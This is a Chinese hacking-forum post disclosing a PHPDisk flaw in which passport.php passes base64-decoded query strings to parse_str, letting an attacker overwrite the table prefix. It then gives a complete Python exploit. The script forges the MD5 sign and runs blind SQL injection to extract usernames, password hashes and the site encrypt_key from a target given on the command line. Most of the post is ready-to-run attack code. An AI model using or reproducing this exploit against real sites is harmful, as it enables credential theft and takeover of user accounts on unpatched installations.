查看: 11340|回复: 0

phpdisk 盲注和前台任意用户登录漏洞附利用exp

[复制链接]
发表于 2013-8-28 10:22:24 | 显示全部楼层 |阅读模式
文件 plugins\phpdisk_client\passport.php

  1. $str = $_SERVER['QUERY_STRING'];
  2. if($str){
  3.     parse_str(base64_decode($str));// 触发函数
  4. }else{
  5.     exit('Error Param');
  6. }
  7. /*$username = trim(gpc('username','G',''));
  8. $password = trim(gpc('password','G',''));
  9. $sign = trim(gpc('sign','G',''));*/
  10. if($sign!=strtoupper(md5($action.$username.$password))){
  11.     exit('No data,Code:2!');
  12. }
  13. $username = is_utf8() ? convert_str('gbk','utf-8',$username) : $username;
  14. if($action=='passportlogin'){
  15.     $rs = $db->fetch_one_array("select userid,gid,username,password,email from {$tpf}users where username='$username' and password='$password' limit 1");  //覆盖tpf
复制代码
phpdisk.py exploit

  1. #===============================================================================
  2. # Id :phpdisk.y
  3. # Author:Yaseng
  4. #===============================================================================
  5. import   sys, urllib2, time, os , Queue, msvcrt, threading,re,base64,md5,hashlib,binascii,cookielib
  6.    
  7. def cslogo():
  8.     print '''
  9.   ___  ___  ____  ____  ____  __      __   _  _
  10. / __)/ _ \(  _ \( ___)(  _ \(  )    /__\ ( \/ )
  11. ( (__( (_) ))(_) ))__)  )___/ )(__  /(__)\ \  /
  12. \___)\___/(____/(____)(__)  (____)(__)(__)(__)
  13. Name:phpdisk bind sql injection  exploit
  14. Author:Yaseng [yaseng@uauc.net]
  15. Usage:phpdisk.py  site[www.yaseng.me]   id[1]
  16. '''
  17.    
  18. # show message
  19. def msg(text, type=0):
  20.     if type == 0:
  21.        str_def = "[*]"
  22.     elif  type == 1:
  23.        str_def = "[+]"
  24.     else:
  25.        str_def = "[-]";
  26.     print str_def + text;
  27.    
  28. # get url data
  29. def get_data(url):
  30.     try:
  31.       r = urllib2.urlopen(url, timeout=10)
  32.       return r.read()
  33.     except :
  34.      return 0
  35. def b(url):
  36.      if   get_data(url).find("ssport Err",0) != -1 :
  37.         return 0
  38.      return 1
  39.    
  40. def make_plyload(payload):
  41.      return   target+"?"+base64.b64encode("username=1&password=1&action=passportlogin&tpf="+payload+"&sign="+md5.new("passportlogin"+"1"+"1").hexdigest().upper())  
  42.    
  43. def get_username():
  44.    
  45.     msg("get  username ...")
  46.     global  pass_list
  47.     len=0
  48.     for i in range(40) :
  49.          if  b(make_plyload("pd_users  WHERE 1   and   (SELECT  LENGTH(username)  from  pd_users where userid=%d )= %d  #" % (uid,i))):
  50.             len=i
  51.             msg("username length:%d" % len,1)
  52.             break
  53.     global  key_list
  54.     key_list=['0','1','2','3','4','5','6','7','8','9']
  55.     key_list+=map(chr,range(97,123))
  56.     username=""
  57.     for i  in range(len) :
  58.        for key in key_list :
  59.             t=key
  60.             if type(key) != int :
  61.                 t="0x"+binascii.hexlify(key)
  62.             if(b(make_plyload(" pd_users WHERE 1   and   (SELECT  substr(username,%d,1)   from  pd_users  where userid=%d )=%s #" % (i+1,uid,t)))) :
  63.              msg("username [%d]:%s" % (i+1,key))
  64.              username+=key
  65.              break
  66.     msg("username:"+username,1)
  67.     return  username  
  68.    
  69. def get_password():   
  70.    
  71.      pass_list=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
  72.      password=""
  73.      for i  in range(32) :
  74.         for key in pass_list :
  75.              t=key
  76.              if type(key) != int :
  77.                  t="0x"+binascii.hexlify(key)
  78.              if(b(make_plyload(" pd_users WHERE 1   and   (SELECT  substr(password,%d,1)     from  pd_users  where userid=%d )= %s #" % (i+1,uid,t)))) :
  79.               msg("password [%d]:%s" % (i+1,key))
  80.               password+=key
  81.               break
  82.      msg("username:"+password,1)
  83.      return password      
  84.    
  85. def get_encrypt_key():
  86.    
  87.     msg("get encrypt_key ...")
  88.     global  pass_list
  89.     pass_list=map(chr,range(97,123))
  90.     len=0
  91.     for i in range(40) :
  92.         if  b(make_plyload("pd_users  WHERE 1   and   ( SELECT  LENGTH(value)  from  pd_settings  where        vars=0x656e63727970745f6b6579 )=%d  #23" % i)):
  93.             len=i
  94.             msg("encrypt_key length:%d" % len,1)
  95.             break
  96.     global  key_list
  97.     key_list=['0','1','2','3','4','5','6','7','8','9']
  98.     key_list+=map(chr,range(65,91)+range(97,123))
  99.     encrypt_key=""
  100.     for i  in range(len) :
  101.        for key in key_list :
  102.          t=key
  103.          if type(key) != int :
  104.             t="0x"+binascii.hexlify(key)
  105.          if(b(make_plyload(" pd_users WHERE 1   and   ( SELECT  binary(substr(value,%d,1))  from  pd_settings  where        vars=0x656e63727970745f6b6579 )  = %s #" % (i+1,t)))) :
  106.           msg("key [%d]:%s" % (i+1,key))
  107.           encrypt_key+=key
  108.           break
  109.     msg("encrypt_key:"+encrypt_key,1)
  110.     return  encrypt_key  
  111.    
  112. if __name__ == '__main__':
  113.    
  114.    cslogo()
  115.    if len(sys.argv) > 1 :
  116.     site=sys.argv[1];
  117.     global target
  118.     global uid
  119.     try :
  120.      uid=int(sys.argv[2]);
  121.     except :
  122.       uid =1
  123.     target=site+"/plugins/phpdisk_client/passport.php"
  124.     msg("exploit:"+site)
  125.    #print get_data(make_plyload(" pd_users WHERE 1   and   ( SELECT  substr(value,2,1)  from  pd_settings  where        vars=0x656e63727970745f6b6579 )  = 9 %23"))
  126.     if get_data(target) :
  127.        username=get_username()
  128.        if len(username) > 0 :
  129.          password=get_password()
  130.          if len(password) == 32 :
  131.             msg("Succeed: username:%s  password:%s" % (username,password),1)
  132.     else :
  133.        msg("vulnerability  not  exits",2);
  134.        exit();
复制代码
作者:yaseng
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-5-1 18:27 , Processed in 0.066297 second(s), 21 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部